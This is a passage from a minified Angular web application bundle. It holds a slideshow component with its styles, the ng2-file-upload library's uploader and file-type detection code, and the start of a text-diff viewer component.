K.onSlide(-1)}),n._UZ(6,"i",6,7),n.qZA(),n.TgZ(8,"div",8),n.NdJ("click",function(){return K.onSlide(1)}),n._UZ(9,"i",9,10),n.qZA(),n.YNc(11,z,2,2,"ul",11),n.qZA()),2&k&&(n.ekj("display-none",!K.fullscreen),n.xp6(2),n.ekj("slideshow-container-fs",K.fullscreen),n.xp6(2),n.Q6J("ngForOf",K.slides)("ngForTrackBy",K.trackByFn),n.xp6(1),n.ekj("display-none",!K.showArrows||K.hideLeftArrow),n.xp6(3),n.ekj("display-none",!K.showArrows||K.hideRightArrow),n.xp6(3),n.Q6J("ngIf",K.showDots))},dependencies:[a.sg,a.O5,a.PC],styles:[".display-none[_ngcontent-%COMP%] {\\n display: none !important; }\\n\\n .fs-container[_ngcontent-%COMP%] {\\n display: block;\\n cursor: pointer;\\n position: fixed;\\n z-index: 1;\\n top: 16px;\\n left: 16px;\\n width: 46px;\\n height: 46px;\\n text-align: center;\\n padding: 0;\\n background-color: rgba(0, 0, 0, 0.2);\\n -webkit-transition: all .2s ease-in-out;\\n transition: all .2s ease-in-out; }\\n .fs-container[_ngcontent-%COMP%]:hover {\\n background-color: rgba(0, 0, 0, 0.33); }\\n .fs-container[_ngcontent-%COMP%] .arrow-exitfs[_ngcontent-%COMP%] {\\n display: block;\\n width: 30px;\\n height: 30px;\\n background: transparent;\\n border-top: 2px solid #f2f2f2;\\n -webkit-transition: all .2s ease-in-out;\\n transition: all .2s ease-in-out; }\\n .fs-container[_ngcontent-%COMP%] .arrow-exitfs.prev[_ngcontent-%COMP%] {\\n -webkit-transform: rotate(-45deg);\\n transform: rotate(-45deg);\\n position: relative;\\n left: 18px;\\n top: 18px; }\\n .fs-container[_ngcontent-%COMP%] .arrow-exitfs[_ngcontent-%COMP%]:after {\\n content: \'\';\\n width: 30px;\\n height: 30px;\\n background: transparent;\\n border-top: 2px solid #f2f2f2;\\n -webkit-transform: rotate(90deg);\\n transform: rotate(90deg);\\n position: absolute;\\n left: -15px;\\n top: -17px; }\\n\\n .slideshow-container.slideshow-container-fs[_ngcontent-%COMP%] {\\n position: fixed;\\n left: 0;\\n top: 0;\\n width: 100%;\\n height: 100%; }\\n\\n .slideshow-container[_ngcontent-%COMP%] {\\n position: relative;\\n display: block;\\n margin: auto;\\n height: 100%;\\n width: 100%;\\n overflow: hidden; }\\n .slideshow-container[_ngcontent-%COMP%] .hide-slide[_ngcontent-%COMP%] {\\n visibility: hidden;\\n position: absolute;\\n top: -100vw;\\n left: -100vw;\\n opacity: 0; }\\n .slideshow-container[_ngcontent-%COMP%] .slides[_ngcontent-%COMP%] {\\n -ms-touch-action: pan-y;\\n touch-action: pan-y;\\n position: absolute;\\n top: 0;\\n height: 100%;\\n width: 100%;\\n visibility: visible;\\n opacity: 1;\\n display: block; }\\n .slideshow-container[_ngcontent-%COMP%] .slides.selected[_ngcontent-%COMP%] {\\n left: 0; }\\n .slideshow-container[_ngcontent-%COMP%] .slides.left-slide[_ngcontent-%COMP%] {\\n left: -100%; }\\n .slideshow-container[_ngcontent-%COMP%] .slides.right-slide[_ngcontent-%COMP%] {\\n left: 100%; }\\n .slideshow-container[_ngcontent-%COMP%] .slides.slide-in-left[_ngcontent-%COMP%] {\\n left: 0;\\n -webkit-animation: _ngcontent-%COMP%_slideInLeft 0.5s cubic-bezier(0.42, 0, 0.58, 1);\\n animation: _ngcontent-%COMP%_slideInLeft 0.5s cubic-bezier(0.42, 0, 0.58, 1); }\\n .slideshow-container[_ngcontent-%COMP%] .slides.slide-in-right[_ngcontent-%COMP%] {\\n left: 0;\\n -webkit-animation: _ngcontent-%COMP%_slideInRight 0.5s cubic-bezier(0.42, 0, 0.58, 1);\\n animation: _ngcontent-%COMP%_slideInRight 0.5s cubic-bezier(0.42, 0, 0.58, 1); }\\n .slideshow-container[_ngcontent-%COMP%] .slides.slide-out-left[_ngcontent-%COMP%] {\\n left: -100%;\\n -webkit-animation: _ngcontent-%COMP%_slideOutLeft 0.5s cubic-bezier(0.42, 0, 0.58, 1);\\n animation: _ngcontent-%COMP%_slideOutLeft 0.5s cubic-bezier(0.42, 0, 0.58, 1); }\\n .slideshow-container[_ngcontent-%COMP%] .slides.slide-out-right[_ngcontent-%COMP%] {\\n left: 100%;\\n -webkit-animation: _ngcontent-%COMP%_slideOutRight 0.5s cubic-bezier(0.42, 0, 0.58, 1);\\n animation: _ngcontent-%COMP%_slideOutRight 0.5s cubic-bezier(0.42, 0, 0.58, 1); }\\n .slideshow-container[_ngcontent-%COMP%] .slides.link[_ngcontent-%COMP%] {\\n cursor: pointer; }\\n .slideshow-container[_ngcontent-%COMP%] .slides[_ngcontent-%COMP%]:not(.link) {\\n cursor: default; }\\n .slideshow-container[_ngcontent-%COMP%] .caption[_ngcontent-%COMP%] {\\n position: absolute;\\n bottom: 0;\\n padding: 10px;\\n width: 100%; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%] {\\n display: -webkit-box;\\n display: -ms-flexbox;\\n display: flex;\\n -webkit-box-align: center;\\n -ms-flex-align: center;\\n align-items: center;\\n -webkit-box-pack: center;\\n -ms-flex-pack: center;\\n justify-content: center;\\n position: absolute;\\n top: 0;\\n height: 100%;\\n width: auto;\\n cursor: pointer;\\n background-size: 100%;\\n background-image: -webkit-gradient(linear, left top, left bottom, from(transparent), to(transparent));\\n background-image: linear-gradient(transparent, transparent);\\n z-index: 100;\\n -webkit-user-select: none;\\n -moz-user-select: none;\\n -ms-user-select: none;\\n user-select: none; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%]:before {\\n display: block;\\n height: 100%;\\n position: absolute;\\n top: 0;\\n left: 0;\\n opacity: 0;\\n width: 100%;\\n z-index: -100;\\n -webkit-transition: opacity 0.45s;\\n transition: opacity 0.45s; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container.prev[_ngcontent-%COMP%] {\\n left: 0; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container.prev[_ngcontent-%COMP%]:before {\\n background-image: -webkit-gradient(linear, right top, left top, from(transparent), to(rgba(0, 0, 0, 0.75)));\\n background-image: linear-gradient(to left, transparent, rgba(0, 0, 0, 0.75));\\n content: \'\'; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container.next[_ngcontent-%COMP%] {\\n right: 0; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container.next[_ngcontent-%COMP%]:before {\\n background-image: -webkit-gradient(linear, left top, right top, from(transparent), to(rgba(0, 0, 0, 0.75)));\\n background-image: linear-gradient(to right, transparent, rgba(0, 0, 0, 0.75));\\n content: \'\'; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%] .arrow[_ngcontent-%COMP%] {\\n display: block;\\n margin: auto;\\n width: 30px;\\n height: 30px;\\n background: transparent;\\n border-top: 2px solid #f2f2f2;\\n border-left: 2px solid #f2f2f2;\\n -webkit-transition: all .2s ease-in-out;\\n transition: all .2s ease-in-out;\\n -webkit-user-select: none;\\n -moz-user-select: none;\\n -ms-user-select: none;\\n user-select: none; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%] .arrow[_ngcontent-%COMP%]:before {\\n display: block;\\n height: 200%;\\n width: 200%;\\n margin-left: -50%;\\n margin-top: -50%;\\n content: \\"\\";\\n -webkit-transform: rotate(45deg);\\n transform: rotate(45deg); }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%] .arrow.prev[_ngcontent-%COMP%] {\\n -webkit-transform: rotate(-45deg);\\n transform: rotate(-45deg);\\n position: relative;\\n left: 20px;\\n margin-right: 10px; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%] .arrow.next[_ngcontent-%COMP%] {\\n -webkit-transform: rotate(135deg);\\n transform: rotate(135deg);\\n position: relative;\\n right: 20px;\\n margin-left: 10px; }\\n .slideshow-container[_ngcontent-%COMP%] .slick-dots[_ngcontent-%COMP%] {\\n display: block;\\n bottom: 15px;\\n z-index: 1;\\n text-align: center;\\n position: absolute;\\n padding: 0;\\n left: 0;\\n right: 0;\\n margin: 0 auto; }\\n .slideshow-container[_ngcontent-%COMP%] .slick-dots[_ngcontent-%COMP%] li[_ngcontent-%COMP%] {\\n display: inline;\\n margin: 0;\\n padding: 0; }\\n .slideshow-container[_ngcontent-%COMP%] .slick-dots[_ngcontent-%COMP%] li[_ngcontent-%COMP%] button[_ngcontent-%COMP%] {\\n border: none;\\n background: none;\\n text-indent: -9999px;\\n font-size: 0;\\n width: 20px;\\n height: 20px;\\n outline: none;\\n position: relative;\\n z-index: 1;\\n cursor: pointer; }\\n .slideshow-container[_ngcontent-%COMP%] .slick-dots[_ngcontent-%COMP%] li[_ngcontent-%COMP%] button[_ngcontent-%COMP%]:before {\\n content: \'\';\\n width: 4px;\\n height: 4px;\\n background: var(--dot-color, #FFF);\\n border-radius: 4px;\\n display: block;\\n position: absolute;\\n top: 50%;\\n left: 50%;\\n -webkit-transform: translate(-50%, -50%);\\n transform: translate(-50%, -50%);\\n opacity: .7;\\n -webkit-transition: all .5s ease-out;\\n transition: all .5s ease-out; }\\n .slideshow-container[_ngcontent-%COMP%] .slick-dots[_ngcontent-%COMP%] li.slick-active[_ngcontent-%COMP%] button[_ngcontent-%COMP%]:before {\\n -webkit-transform: translate(-50%, -50%) scale(1.4);\\n transform: translate(-50%, -50%) scale(1.4);\\n opacity: 1; }\\n\\n @media screen and (min-width: 768px) {\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%]:hover:before {\\n opacity: 1; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%]:hover .arrow[_ngcontent-%COMP%] {\\n border-width: 4px; }\\n .slideshow-container[_ngcontent-%COMP%] .arrow-container[_ngcontent-%COMP%] .arrow[_ngcontent-%COMP%]:hover {\\n border-width: 4px; } }\\n\\n @-webkit-keyframes _ngcontent-%COMP%_slideInRight {\\n 0% {\\n left: -100%; }\\n 100% {\\n left: 0; } }\\n\\n @keyframes _ngcontent-%COMP%_slideInRight {\\n 0% {\\n left: -100%; }\\n 100% {\\n left: 0; } }\\n\\n @-webkit-keyframes _ngcontent-%COMP%_slideInLeft {\\n 0% {\\n left: 100%; }\\n 100% {\\n left: 0; } }\\n\\n @keyframes _ngcontent-%COMP%_slideInLeft {\\n 0% {\\n left: 100%; }\\n 100% {\\n left: 0; } }\\n\\n @-webkit-keyframes _ngcontent-%COMP%_slideOutRight {\\n 0% {\\n left: 0; }\\n 100% {\\n left: -100%; } }\\n\\n @keyframes _ngcontent-%COMP%_slideOutRight {\\n 0% {\\n left: 0; }\\n 100% {\\n left: -100%; } }\\n\\n @-webkit-keyframes _ngcontent-%COMP%_slideOutLeft {\\n 0% {\\n left: 0; }\\n 100% {\\n left: 100%; } }\\n\\n @keyframes _ngcontent-%COMP%_slideOutLeft {\\n 0% {\\n left: 0; }\\n 100% {\\n left: 100%; } }\\n\\n .loader[_ngcontent-%COMP%] {\\n position: absolute;\\n left: 50%;\\n margin-left: -20px;\\n top: 50%;\\n margin-top: -20px;\\n border: 5px solid #f3f3f3;\\n border-top: 5px solid #555;\\n border-radius: 50%;\\n width: 50px;\\n height: 50px;\\n -webkit-animation: _ngcontent-%COMP%_spin 1s linear infinite;\\n animation: _ngcontent-%COMP%_spin 1s linear infinite; }\\n\\n @-webkit-keyframes _ngcontent-%COMP%_spin {\\n 0% {\\n -webkit-transform: rotate(0deg);\\n transform: rotate(0deg); }\\n 100% {\\n -webkit-transform: rotate(360deg);\\n transform: rotate(360deg); } }\\n\\n @keyframes _ngcontent-%COMP%_spin {\\n 0% {\\n -webkit-transform: rotate(0deg);\\n transform: rotate(0deg); }\\n 100% {\\n -webkit-transform: rotate(360deg);\\n transform: rotate(360deg); } }"],changeDetection:0}),oe})(),Q=(()=>{class oe{}return oe.\\u0275fac=function(k){return new(k||oe)},oe.\\u0275mod=n.oAB({type:oe}),oe.\\u0275inj=n.cJS({imports:[a.ez,s.Cu]}),oe})()},162:(At,ae,d)=>{"use strict";d.d(ae,{C6:()=>C,Ob:()=>H,bA:()=>g});var n=d(4650),a=d(6895);class u{constructor(U){this.rawFile=U;let Q=function s(j){return!(!j||!(j.nodeName||j.prop&&j.attr&&j.find))}(U)?U.value:U;this["_createFrom"+("string"==typeof Q?"FakePath":"Object")](Q)}_createFromFakePath(U){this.lastModifiedDate=void 0,this.size=void 0,this.type="like/"+U.slice(U.lastIndexOf(".")+1).toLowerCase(),this.name=U.slice(U.lastIndexOf("/")+U.lastIndexOf("\\\\")+2)}_createFromObject(U){this.size=U.size,this.type=U.type,this.name=U.name}}class c{constructor(U,G,Q){this.url="/",this.headers=[],this.withCredentials=!0,this.formData=[],this.isReady=!1,this.isUploading=!1,this.isUploaded=!1,this.isSuccess=!1,this.isCancel=!1,this.isError=!1,this.progress=0,this.index=void 0,this.uploader=U,this.some=G,this.options=Q,this.file=new u(G),this._file=G,U.options&&(this.method=U.options.method||"POST",this.alias=U.options.itemAlias||"file"),this.url=U.options.url}upload(){try{this.uploader.uploadItem(this)}catch{this.uploader._onCompleteItem(this,"",0,{}),this.uploader._onErrorItem(this,"",0,{})}}cancel(){this.uploader.cancelItem(this)}remove(){this.uploader.removeFromQueue(this)}onBeforeUpload(){}onBuildForm(U){return{form:U}}onProgress(U){return{progress:U}}onSuccess(U,G,Q){return{response:U,status:G,headers:Q}}onError(U,G,Q){return{response:U,status:G,headers:Q}}onCancel(U,G,Q){return{response:U,status:G,headers:Q}}onComplete(U,G,Q){return{response:U,status:G,headers:Q}}_onBeforeUpload(){this.isReady=!0,this.isUploading=!0,this.isUploaded=!1,this.isSuccess=!1,this.isCancel=!1,this.isError=!1,this.progress=0,this.onBeforeUpload()}_onBuildForm(U){this.onBuildForm(U)}_onProgress(U){this.progress=U,this.onProgress(U)}_onSuccess(U,G,Q){this.isReady=!1,this.isUploading=!1,this.isUploaded=!0,this.isSuccess=!0,this.isCancel=!1,this.isError=!1,this.progress=100,this.index=void 0,this.onSuccess(U,G,Q)}_onError(U,G,Q){this.isReady=!1,this.isUploading=!1,this.isUploaded=!0,this.isSuccess=!1,this.isCancel=!1,this.isError=!0,this.progress=0,this.index=void 0,this.onError(U,G,Q)}_onCancel(U,G,Q){this.isReady=!1,this.isUploading=!1,this.isUploaded=!1,this.isSuccess=!1,this.isCancel=!0,this.isError=!1,this.progress=0,this.index=void 0,this.onCancel(U,G,Q)}_onComplete(U,G,Q){this.onComplete(U,G,Q),this.uploader.options.removeAfterUpload&&this.remove()}_prepareToUploading(){this.index=this.index||++this.uploader._nextIndex,this.isReady=!0}}let f=(()=>{class j{static getMimeClass(G){let Q="application";return-1!==this.mime_psd.indexOf(G.type)||G.type.match("image.*")?Q="image":G.type.match("video.*")?Q="video":G.type.match("audio.*")?Q="audio":"application/pdf"===G.type?Q="pdf":-1!==this.mime_compress.indexOf(G.type)?Q="compress":-1!==this.mime_doc.indexOf(G.type)?Q="doc":-1!==this.mime_xsl.indexOf(G.type)?Q="xls":-1!==this.mime_ppt.indexOf(G.type)&&(Q="ppt"),"application"===Q&&(Q=this.fileTypeDetection(G.name)),Q}static fileTypeDetection(G){let Q={jpg:"image",jpeg:"image",tif:"image",psd:"image",bmp:"image",png:"image",nef:"image",tiff:"image",cr2:"image",dwg:"image",cdr:"image",ai:"image",indd:"image",pin:"image",cdp:"image",skp:"image",stp:"image","3dm":"image",mp3:"audio",wav:"audio",wma:"audio",mod:"audio",m4a:"audio",compress:"compress",zip:"compress",rar:"compress","7z":"compress",lz:"compress",z01:"compress",bz2:"compress",gz:"compress",pdf:"pdf",xls:"xls",xlsx:"xls",ods:"xls",mp4:"video",avi:"video",wmv:"video",mpg:"video",mts:"video",flv:"video","3gp":"video",vob:"video",m4v:"video",mpeg:"video",m2ts:"video",mov:"video",doc:"doc",docx:"doc",eps:"doc",txt:"doc",odt:"doc",rtf:"doc",ppt:"ppt",pptx:"ppt",pps:"ppt",ppsx:"ppt",odp:"ppt"},oe=G.split(".");if(oe.length<2)return"application";let Ce=oe[oe.length-1].toLowerCase();return void 0===Q[Ce]?"application":Q[Ce]}}return j.mime_doc=["application/msword","application/msword","application/vnd.openxmlformats-officedocument.wordprocessingml.document","application/vnd.openxmlformats-officedocument.wordprocessingml.template","application/vnd.ms-word.document.macroEnabled.12","application/vnd.ms-word.template.macroEnabled.12"],j.mime_xsl=["application/vnd.ms-excel","application/vnd.ms-excel","application/vnd.ms-excel","application/vnd.openxmlformats-officedocument.spreadsheetml.sheet","application/vnd.openxmlformats-officedocument.spreadsheetml.template","application/vnd.ms-excel.sheet.macroEnabled.12","application/vnd.ms-excel.template.macroEnabled.12","application/vnd.ms-excel.addin.macroEnabled.12","application/vnd.ms-excel.sheet.binary.macroEnabled.12"],j.mime_ppt=["application/vnd.ms-powerpoint","application/vnd.ms-powerpoint","application/vnd.ms-powerpoint","application/vnd.ms-powerpoint","application/vnd.openxmlformats-officedocument.presentationml.presentation","application/vnd.openxmlformats-officedocument.presentationml.template","application/vnd.openxmlformats-officedocument.presentationml.slideshow","application/vnd.ms-powerpoint.addin.macroEnabled.12","application/vnd.ms-powerpoint.presentation.macroEnabled.12","application/vnd.ms-powerpoint.presentation.macroEnabled.12","application/vnd.ms-powerpoint.slideshow.macroEnabled.12"],j.mime_psd=["image/photoshop","image/x-photoshop","image/psd","application/photoshop","application/psd","zz-application/zz-winassoc-psd"],j.mime_compress=["application/x-gtar","application/x-gcompress","application/compress","application/x-tar","application/x-rar-compressed","application/octet-stream","application/x-zip-compressed","application/zip-compressed","application/x-7z-compressed","application/gzip","application/x-bzip2"],j})();class g{constructor(U){this.isUploading=!1,this.queue=[],this.progress=0,this._nextIndex=0,this.options={autoUpload:!1,isHTML5:!0,filters:[],removeAfterUpload:!1,disableMultipart:!1,formatDataFunction:G=>G._file,formatDataFunctionIsAsync:!1},this.setOptions(U),this.response=new n.vpe}setOptions(U){this.options=Object.assign(this.options,U),this.authToken=this.options.authToken,this.authTokenHeader=this.options.authTokenHeader||"Authorization",this.autoUpload=this.options.autoUpload,this.options.filters.unshift({name:"queueLimit",fn:this._queueLimitFilter}),this.options.maxFileSize&&this.options.filters.unshift({name:"fileSize",fn:this._fileSizeFilter}),this.options.allowedFileType&&this.options.filters.unshift({name:"fileType",fn:this._fileTypeFilter}),this.options.allowedMimeType&&this.options.filters.unshift({name:"mimeType",fn:this._mimeTypeFilter});for(let G=0;G<this.queue.length;G++)this.queue[G].url=this.options.url}addToQueue(U,G,Q){let oe=[];for(let se of U)oe.push(se);let Ce=this._getFilters(Q),k=this.queue.length,K=[];oe.map(se=>{G||(G=this.options);let ee=new u(se);if(this._isValidFile(ee,Ce,G)){let q=new c(this,se,G);K.push(q),this.queue.push(q),this._onAfterAddingFile(q)}else this._onWhenAddingFileFailed(ee,Ce[this._failFilterIndex],G)}),this.queue.length!==k&&(this._onAfterAddingAll(K),this.progress=this._getTotalProgress()),this._render(),this.options.autoUpload&&this.uploadAll()}removeFromQueue(U){let G=this.getIndexOfItem(U),Q=this.queue[G];Q.isUploading&&Q.cancel(),this.queue.splice(G,1),this.progress=this._getTotalProgress()}clearQueue(){for(;this.queue.length;)this.queue[0].remove();this.progress=0}uploadItem(U){let G=this.getIndexOfItem(U),Q=this.queue[G],oe=this.options.isHTML5?"_xhrTransport":"_iframeTransport";Q._prepareToUploading(),!this.isUploading&&(this.isUploading=!0,this[oe](Q))}cancelItem(U){let G=this.getIndexOfItem(U),Q=this.queue[G];Q&&Q.isUploading&&(this.options.isHTML5?Q._xhr:Q._form).abort()}uploadAll(){let U=this.getNotUploadedItems().filter(G=>!G.isUploading);U.length&&(U.map(G=>G._prepareToUploading()),U[0].upload())}cancelAll(){this.getNotUploadedItems().map(G=>G.cancel())}isFile(U){return function E(j){return File&&j instanceof File}(U)}isFileLikeObject(U){return U instanceof u}getIndexOfItem(U){return"number"==typeof U?U:this.queue.indexOf(U)}getNotUploadedItems(){return this.queue.filter(U=>!U.isUploaded)}getReadyItems(){return this.queue.filter(U=>U.isReady&&!U.isUploading).sort((U,G)=>U.index-G.index)}destroy(){}onAfterAddingAll(U){return{fileItems:U}}onBuildItemForm(U,G){return{fileItem:U,form:G}}onAfterAddingFile(U){return{fileItem:U}}onWhenAddingFileFailed(U,G,Q){return{item:U,filter:G,options:Q}}onBeforeUploadItem(U){return{fileItem:U}}onProgressItem(U,G){return{fileItem:U,progress:G}}onProgressAll(U){return{progress:U}}onSuccessItem(U,G,Q,oe){return{item:U,response:G,status:Q,headers:oe}}onErrorItem(U,G,Q,oe){return{item:U,response:G,status:Q,headers:oe}}onCancelItem(U,G,Q,oe){return{item:U,response:G,status:Q,headers:oe}}onCompleteItem(U,G,Q,oe){return{item:U,response:G,status:Q,headers:oe}}onCompleteAll(){}_mimeTypeFilter(U){return!(this.options.allowedMimeType&&-1===this.options.allowedMimeType.indexOf(U.type))}_fileSizeFilter(U){return!(this.options.maxFileSize&&U.size>this.options.maxFileSize)}_fileTypeFilter(U){return!(this.options.allowedFileType&&-1===this.options.allowedFileType.indexOf(f.getMimeClass(U)))}_onErrorItem(U,G,Q,oe){U._onError(G,Q,oe),this.onErrorItem(U,G,Q,oe)}_onCompleteItem(U,G,Q,oe){U._onComplete(G,Q,oe),this.onCompleteItem(U,G,Q,oe);let Ce=this.getReadyItems()[0];this.isUploading=!1,Ce?Ce.upload():(this.onCompleteAll(),this.progress=this._getTotalProgress(),this._render())}_headersGetter(U){return G=>G?U[G.toLowerCase()]||void 0:U}_xhrTransport(U){let oe,G=this,Q=U._xhr=new XMLHttpRequest;if(this._onBeforeUploadItem(U),"number"!=typeof U._file.size)throw new TypeError("The file specified is no longer valid");if(this.options.disableMultipart)oe=this.options.formatDataFunction(U);else{oe=new FormData,this._onBuildItemForm(U,oe);const Ce=()=>oe.append(U.alias,U._file,U.file.name);this.options.parametersBeforeFiles||Ce(),void 0!==this.options.additionalParameter&&Object.keys(this.options.additionalParameter).forEach(k=>{let K=this.options.additionalParameter[k];"string"==typeof K&&K.indexOf("{{file_name}}")>=0&&(K=K.replace("{{file_name}}",U.file.name)),oe.append(k,K)}),this.options.parametersBeforeFiles&&Ce()}if(Q.upload.onprogress=Ce=>{let k=Math.round(Ce.lengthComputable?100*Ce.loaded/Ce.total:0);this._onProgressItem(U,k)},Q.onload=()=>{let Ce=this._parseHeaders(Q.getAllResponseHeaders()),k=this._transformResponse(Q.response,Ce);this["_on"+(this._isSuccessCode(Q.status)?"Success":"Error")+"Item"](U,k,Q.status,Ce),this._onCompleteItem(U,k,Q.status,Ce)},Q.onerror=()=>{let Ce=this._parseHeaders(Q.getAllResponseHeaders()),k=this._transformResponse(Q.response,Ce);this._onErrorItem(U,k,Q.status,Ce),this._onCompleteItem(U,k,Q.status,Ce)},Q.onabort=()=>{let Ce=this._parseHeaders(Q.getAllResponseHeaders()),k=this._transformResponse(Q.response,Ce);this._onCancelItem(U,k,Q.status,Ce),this._onCompleteItem(U,k,Q.status,Ce)},Q.open(U.method,U.url,!0),Q.withCredentials=U.withCredentials,this.options.headers)for(let Ce of this.options.headers)Q.setRequestHeader(Ce.name,Ce.value);if(U.headers.length)for(let Ce of U.headers)Q.setRequestHeader(Ce.name,Ce.value);this.authToken&&Q.setRequestHeader(this.authTokenHeader,this.authToken),Q.onreadystatechange=function(){Q.readyState==XMLHttpRequest.DONE&&G.response.emit(Q.responseText)},this.options.formatDataFunctionIsAsync?oe.then(Ce=>Q.send(JSON.stringify(Ce))):Q.send(oe),this._render()}_getTotalProgress(U=0){if(this.options.removeAfterUpload)return U;let G=this.getNotUploadedItems().length,oe=100/this.queue.length;return Math.round((G?this.queue.length-G:this.queue.length)*oe+U*oe/100)}_getFilters(U){if(!U)return this.options.filters;if(Array.isArray(U))return U;if("string"==typeof U){let G=U.match(/[^\\s,]+/g);return this.options.filters.filter(Q=>-1!==G.indexOf(Q.name))}return this.options.filters}_render(){}_queueLimitFilter(){return void 0===this.options.queueLimit||this.queue.length<this.options.queueLimit}_isValidFile(U,G,Q){return this._failFilterIndex=-1,!G.length||G.every(oe=>(this._failFilterIndex++,oe.fn.call(this,U,Q)))}_isSuccessCode(U){return U>=200&&U<300||304===U}_transformResponse(U,G){return U}_parseHeaders(U){let Q,oe,Ce,G={};return U&&U.split("\\n").map(k=>{Ce=k.indexOf(":"),Q=k.slice(0,Ce).trim().toLowerCase(),oe=k.slice(Ce+1).trim(),Q&&(G[Q]=G[Q]?G[Q]+", "+oe:oe)}),G}_onWhenAddingFileFailed(U,G,Q){this.onWhenAddingFileFailed(U,G,Q)}_onAfterAddingFile(U){this.onAfterAddingFile(U)}_onAfterAddingAll(U){this.onAfterAddingAll(U)}_onBeforeUploadItem(U){U._onBeforeUpload(),this.onBeforeUploadItem(U)}_onBuildItemForm(U,G){U._onBuildForm(G),this.onBuildItemForm(U,G)}_onProgressItem(U,G){let Q=this._getTotalProgress(G);this.progress=Q,U._onProgress(G),this.onProgressItem(U,G),this.onProgressAll(Q),this._render()}_onSuccessItem(U,G,Q,oe){U._onSuccess(G,Q,oe),this.onSuccessItem(U,G,Q,oe)}_onCancelItem(U,G,Q,oe){U._onCancel(G,Q,oe),this.onCancelItem(U,G,Q,oe)}}let C=(()=>{class j{constructor(G){this.onFileSelected=new n.vpe,this.element=G}getOptions(){return this.uploader.options}getFilters(){return{}}isEmptyAfterSelection(){return!!this.element.nativeElement.attributes.multiple}onChange(){let G=this.element.nativeElement.files,Q=this.getOptions(),oe=this.getFilters();this.uploader.addToQueue(G,Q,oe),this.onFileSelected.emit(G),this.isEmptyAfterSelection()&&(this.element.nativeElement.value="")}}return j.\\u0275fac=function(G){return new(G||j)(n.Y36(n.SBq))},j.\\u0275dir=n.lG2({type:j,selectors:[["","ng2FileSelect",""]],hostBindings:function(G,Q){1&G&&n.NdJ("change",function(){return Q.onChange()})},inputs:{uploader:"uploader"},outputs:{onFileSelected:"onFileSelected"}}),j})(),H=(()=>{class j{}return j.\\u0275fac=function(G){return new(G||j)},j.\\u0275mod=n.oAB({type:j}),j.\\u0275inj=n.cJS({imports:[a.ez]}),j})()},5244:(At,ae,d)=>{"use strict";d.d(ae,{mC:()=>Be,zB:()=>ve});var n=d(655),a=d(4650),s=d(3969),c=d(6498),f=d(7261),E=d(6895),_=d(4006);function S(pe,P){if(1&pe){const w=a.EpF();a.TgZ(0,"div",9)(1,"div",10)(2,"label",11),a._uU(3),a.TgZ(4,"input",12),a.NdJ("ngModelChange",function(X){a.CHM(w);const _e=a.oxw(2);return a.KtG(_e.hideMatchingLinesChanged(X))}),a.qZA(),a._UZ(5,"span",13),a.qZA()()()}if(2&pe){const w=a.oxw(2);a.Q6J("ngClass",w.toolbarClass)("ngStyle",w.toolbarStyle),a.xp6(3),a.hij(" Only Show Lines with Differences (",w.diffsCount,") "),a.xp6(1),a.Q6J("ngModel",w.hideMatchingLines)}}const g=function(pe,P){return{active:pe,disabled:P}};function C(pe,P){if(1&pe){const w=a.EpF();a.TgZ(0,"button",17),a.NdJ("click",function(){const _e=a.CHM(w).$implicit,ct=a.oxw(3);return a.KtG(ct.setDiffTableFormat(_e.value))}),a._uU(1),a.qZA()}if(2&pe){const w=P.$implicit,R=a.oxw(3);a.Q6J("ngClass",a.WLB(5,g,R.format===w.value,!!w.disabled))("name",w.name)("id",w.id)("disabled",!!w.disabled),a.xp6(1),a.hij(" ",w.label," ")}}function z(pe,P){if(1&pe&&(a.TgZ(0,"div",14)(1,"div",15),a.YNc(2,C,2,8,"button",16),a.qZA()()),2&pe){const w=a.oxw(2);a.xp6(2),a.Q6J("ngForOf",w.formatOptions)}}const H=function(pe,P){return{"delete-row":pe,"empty-row":P}};function j(pe,P){if(1&pe&&(a.TgZ(0,"td",24),a._UZ(1,"span",25),a.ALo(2,"formatLine"),a.qZA()),2&pe){const w=a.oxw().$implicit;a.Q6J("ngClass",a.WLB(4,H,"-"===(null==w.leftContent?null:w.leftContent.prefix),!(null!=w.leftContent&&w.leftContent.lineContent))),a.xp6(1),a.Q6J("innerHTML",a.lcZ(2,2,null==w.leftContent?null:w.leftContent.lineContent),a.oJD)}}const U=function(pe){return{highlight:pe}};function G(pe,P){if(1&pe&&(a._UZ(0,"span",27),a.ALo(1,"formatLine")),2&pe){const w=P.$implicit;a.Q6J("innerHTML",a.lcZ(1,2,w.content),a.oJD)("ngClass",a.VKq(4,U,w.isDiff))}}function Q(pe,P){if(1&pe&&(a.TgZ(0,"td",24),a.YNc(1,G,2,6,"span",26),a.qZA()),2&pe){const w=a.oxw().$implicit,R=a.oxw(3);a.Q6J("ngClass",a.WLB(3,H,"-"===(null==w.leftContent?null:w.leftContent.prefix),!(null!=w.leftContent&&w.leftContent.lineContent))),a.xp6(1),a.Q6J("ngForOf",null==w.leftContent?null:w.leftContent.lineDiffs)("ngForTrackBy",R.trackDiffs)}}function oe(pe,P){if(1&pe&&(a.TgZ(0,"tr")(1,"td",21),a._uU(2),a.qZA(),a.TgZ(3,"td",22)(4,"span"),a._uU(5),a.qZA()(),a.YNc(6,j,3,7,"td",23),a.YNc(7,Q,2,6,"td",23),a.qZA()),2&pe){const w=P.$implicit;a.xp6(1),a.Q6J("ngClass",a.WLB(6,H,"-"===(null==w.leftContent?null:w.leftContent.prefix),!(null!=w.leftContent&&w.leftContent.lineContent))),a.xp6(1),a.hij(" ",-1!==(null==w.leftContent?null:w.leftContent.lineNumber)?null==w.leftContent?null:w.leftContent.lineNumber:" "," 